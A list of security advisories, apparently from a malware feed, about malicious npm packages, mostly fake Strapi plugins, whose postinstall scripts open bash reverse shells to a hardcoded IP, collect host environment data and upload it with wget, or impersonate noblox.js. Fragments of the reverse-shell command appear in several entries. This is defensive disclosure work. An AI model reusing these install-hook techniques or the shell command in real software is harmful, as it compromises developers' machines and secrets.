Malicious code in strapi-plugin-revs01-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 981b426b3809283ad517caf0032d403db2c479faa3c717620151cbfabcc9b81c [email protected] ships a postinstall lifecycle script scripts.postinstall = node postinstall.js that spawns /bin/bash via...

MAL-2026-16185 Malicious code in strapi-plugin-revs01-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 981b426b3809283ad517caf0032d403db2c479faa3c717620151cbfabcc9b81c [email protected] ships a postinstall lifecycle script scripts.postinstall = node postinstall.js that spawns /bin/bash via...

Malicious code in strapi-plugin-proccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c65ca459d74b0be577eb0a1476ec8b9de089a524019ea9ef0061c5ee42e00729 strapi-plugin-proccresh-meeb ships a postinstall dropper that opens a bash reverse shell to the hardcoded IP 14.225.210.85 on TCP/443 at npm install...

MAL-2026-16182 Malicious code in strapi-plugin-proccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c65ca459d74b0be577eb0a1476ec8b9de089a524019ea9ef0061c5ee42e00729 strapi-plugin-proccresh-meeb ships a postinstall dropper that opens a bash reverse shell to the hardcoded IP 14.225.210.85 on TCP/443 at npm install...

Malicious code in n8n-nodes-buildcheck (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 65dcf471b1b0c1765b92cab4922777dd8486ad14cc17bcd9475996585c75eebc On npm install, postinstall.js collects the full environment, id, hostname, and /proc/1/cgroup/status into /tmp/.be and uploads it via wget --post-fi...

MAL-2026-16177 Malicious code in n8n-nodes-buildcheck (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 65dcf471b1b0c1765b92cab4922777dd8486ad14cc17bcd9475996585c75eebc On npm install, postinstall.js collects the full environment, id, hostname, and /proc/1/cgroup/status into /tmp/.be and uploads it via wget --post-fi...

MAL-2026-16183 Malicious code in strapi-plugin-resh-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3016b01076e22e0a7bfd8e255bb5a5e03bdfe776f0dc16e60878210b5335fd42 [email protected] declares a postinstall lifecycle script that executes postinstall.js on npm install. The script invokes bash -c 'ba...

Malicious code in strapi-plugin-resh-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3016b01076e22e0a7bfd8e255bb5a5e03bdfe776f0dc16e60878210b5335fd42 [email protected] declares a postinstall lifecycle script that executes postinstall.js on npm install. The script invokes bash -c 'ba...

MAL-2026-16190 Malicious code in strapi-plugin-tryccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f55571a74d951028d497f98afecfee7720d6ae4138513ead2c2fa46b7f96e5af The package's postinstall lifecycle script postinstall.js uses childprocess.exec to spawn bash -c 'bash -i /dev/tcp/14.225.210.85/443...', opening an...

Malicious code in strapi-plugin-tryccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f55571a74d951028d497f98afecfee7720d6ae4138513ead2c2fa46b7f96e5af The package's postinstall lifecycle script postinstall.js uses childprocess.exec to spawn bash -c 'bash -i /dev/tcp/14.225.210.85/443...', opening an...

MAL-2026-16188 Malicious code in strapi-plugin-rs-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6293e711bb544c63fcc29178febb4100cee80f9cbd1060b3c3173445419a172c postinstall.js runs unconditionally during npm install via scripts.postinstall and executes a bash reverse shell that redirects an interactive shell'...

MAL-2026-16181 Malicious code in strapi-plugin-plsresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ae27e46ab1160942d8d569f2237b9890a5f0a2cac36171ced091678c2a876c44 The package's postinstall lifecycle script runs a bash reverse shell that opens a TCP connection to the hardcoded host 14.225.210.85 on port 443 and...

Malicious code in strapi-plugin-plsresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ae27e46ab1160942d8d569f2237b9890a5f0a2cac36171ced091678c2a876c44 The package's postinstall lifecycle script runs a bash reverse shell that opens a TCP connection to the hardcoded host 14.225.210.85 on port 443 and...

MAL-2026-16180 Malicious code in strapi-plugin-ccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5c91c798c5a3429b252f74193e2a84c6406347ced8fa9010bdd7d338af5c8797 The package's postinstall lifecycle script scripts.postinstall: node postinstall.js unconditionally invokes /bin/bash with an interactive reverse-she...

Malicious code in ultra-ws (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a3cd852fb9e34a4705cad99a8022db52461e1325daddfa1425df17bbc3b7ac08 package.json declares a dependency node-net-pool whose source is a tarball URL on the main branch of a random third-party GitHub account...

Malicious code in noblox-asset.js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a9d897fe6a57fc9f74c5dd46a89603da107c43ad60d3854a86987d67f5702973 noblox-asset.js impersonates the noblox.js Roblox API wrapper: package.json copies the legitimate package's description, homepage...

MAL-2026-16148 Malicious code in noblox-asset.js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a9d897fe6a57fc9f74c5dd46a89603da107c43ad60d3854a86987d67f5702973 noblox-asset.js impersonates the noblox.js Roblox API wrapper: package.json copies the legitimate package's description, homepage...

MAL-2026-16151 Malicious code in sql-limit-enforcer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6f8126bab8131e5781af023537f7c5fc2456929c104f71312eeddcea358b5659 Package ships no legitimate functionality: package.json declares main=index.js which is absent from the tarball, and the only shipped source is...

Malicious code in sql-limit-enforcer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6f8126bab8131e5781af023537f7c5fc2456929c104f71312eeddcea358b5659 Package ships no legitimate functionality: package.json declares main=index.js which is absent from the tarball, and the only shipped source is...

MAL-2026-16149 Malicious code in os-info-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cf3b4f18f9d98ad0792f96d750aef64b390ae6a516d948457d1e78b1d3242ab8 The package's postinstall lifecycle script runs unconditionally on npm install. It collects host identifiers hostname, platform, architecture, kernel...